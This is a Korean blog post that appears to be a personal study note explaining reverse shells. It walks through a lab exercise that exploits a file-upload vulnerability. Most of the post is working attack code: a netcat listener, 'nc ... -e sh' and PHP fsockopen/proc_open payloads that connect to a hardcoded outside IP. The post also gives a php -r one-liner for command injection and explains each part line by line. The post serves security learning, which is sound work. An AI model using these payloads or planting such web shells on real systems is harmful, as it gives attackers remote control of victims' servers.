Reverse Shell이란?
Reverse Shell은 피해자의 컴퓨터에서 공격자의 컴퓨터로 연결을 시도하여 공격자가 원격으로 피해자의 컴퓨터를 제어할 수 있게 하는 방법이다. Reverse Shell은 주로 방화벽 및 네트워크 주소 변환(NAT) 설정을 우회하기 위해 사용된다.
수행 예시
공격자 준비
공격자는 자신의 컴퓨터에서 특정 포트를 열고 대기한다. 이는 공격자가 피해자의 컴퓨터에서 오는 연결을 받을 준비를 하는 단계이다.
nc -lvp 4444
피해자 페이로드 실행
공격자는 피해자 컴퓨터의 취약점을 이용하여 페이로드를 실행한다. 이 페이로드는 피해자 컴퓨터에서 공격자 컴퓨터로의 연결을 시도한다.
nc 43.203.247.232 4444 -e sh
여기서 `-e sh`는 연결이 수립되면 실행시킬 것을 나타낸다. sh을 실행시켜 공격자에게 쉘을 사용할 수 있게 하는 것을 알 수 있다.
연결 수립
피해자 컴퓨터가 공격자 컴퓨터고 성공적으로 연결되면, 피해자의 쉘이 공격자에게 전달된다. 이제 공격자는 피해자 컴퓨터에서 명령을 실행할 수 있는 쉘을 가지게 된다.
Reverse Shell의 주요 특징
Reverse Shell은 피해자 컴퓨터에서 외부로 연결을 시도하기 때문에, 방화벽의 인바운드 필터링을 우회할 수 있다. 대부분의 방화벽은 외부에서 내부로의 연결을 차단하지만, 내부에서 외부로의 연결은 허용하는 경우가 많다.
실습
파일 업로드 취약점이 있는 환경에서 reverse shell을 실행시켜 보도록 하겠다.
업로드 페이지를 gpt로 위와 같이 구성했다.
<?php
$sock=fsockopen("43.203.247.232",4444);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
위와 같은 코드의 php 코드를 업로드 하겠다.
- `fsockopen`: 함수는 PHP에서 원격 호스트에 TCP/IP 연결을 생성하는 데 사용된다
- `"43.203.247.232"`: 연결할 원격 서버의 IP 주소이다
- `4444`: 연결할 원격 서버의 포트 번호이다
- `$sock`: `fsockopen` 함수의 반환 값을 저장한다. 연결이 성공하면 이 변수는 원격 서버와의 연결을 나타내는 소켓 리소스를 가리킨다
- `proc_open`: 함수는 새 프로세스를 실행하는 데 사용된다
- `"sh"`: 실행할 명령어 또는 프로그램이다. 여기서는 셸인 `sh`를 실행한다
- `array(0=>$sock, 1=>$sock, 2=>$sock)`: 표준 입력, 표준 출력, 표준 오류 스트림을 설정하는 배열이다.
- `0=>$sock`: 표준 입력(`STDIN`)을 소켓 리소스로 설정한다
- `1=>$sock`: 표준 출력(`STDOUT`)을 소켓 리소스로 설정한다
- `2=>$sock`: 표준 오류(`STDERR`)를 소켓 리소스로 설정한다
- `$pipes`: 프로세스의 파이프를 나타내는 배열로, 현재 코드에서는 사용되지 않는다.
이 함수는 `sh`셸을 실행하고, 셸의 입출력 스트림을 모두 소켓으로 리디렉션 한다.
`$sock`은 이전 단계에서 원격 서버와의 연결을 나타내는 소켓 리소스이므로, 결과적으로 셸의 입력과 출력이 원격 서버로 전달된다.
`$proc`은 `proc_open` 함수의 반환값을 저장한다. 이 값은 새로 생성된 프로세스를 나타내는 리소스이다.
코드는 위 사이트에서 구성했다.
위와 같이 업로드가 성공적으로 된 것을 볼 수 있다. 이제 공격자 리스닝 설정을 해보자.
- `nc`: netcat 명령어
- `-l`: 리스닝 모드로 설정. 들어오는 연결을 기다림
- `-v`: verbose(자세히) 모드로 설정. 실행 중인 작업에 대해 자세한 정보를 출력
- `-p 4444`: 포트 번호 4444를 사용
이제 웹서버에서 업로드한 파일로 접속하여 리버스쉘 코드를 실행시키자.
여기서 j.png는 개인적으로 테스트할 때 올린 파일이다.
성공적으로 리버스 쉘이 수행되는 것을 볼 수 있다.
Command Injection이 가능하다면 아래와 같은 코드로도 가능하다.
php -r '$sock=fsockopen("43.203.247.232",4444);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
- `php`: php 인터프리터를 호출한다
- `-r`: 명령줄에서 직접 PHP 코드를 실행할 수 있는 옵션이다. 인라인 스크립트를 실행할 때 사용한다.
지금까지 리버스 쉘에 대해서 알아봤다.
끝
'분류 전 > 개념 노트장' 카테고리의 다른 글
Interval이 다를 때 OTP 코드가 다른 이유와 드림핵 SuperSecure OTP (0) | 2024.07.07 |
---|---|
[Flask] session 구조 (0) | 2024.04.11 |
[SQL] information_schema가 필터링 됐을 때 Union SQL Injection (0) | 2024.03.29 |
[Node.js] prepared statement 사용 시 주의 사항 (1) | 2024.03.28 |
[SQL] mysql boolean 비교 시 동작 방식과 false injection (0) | 2024.02.23 |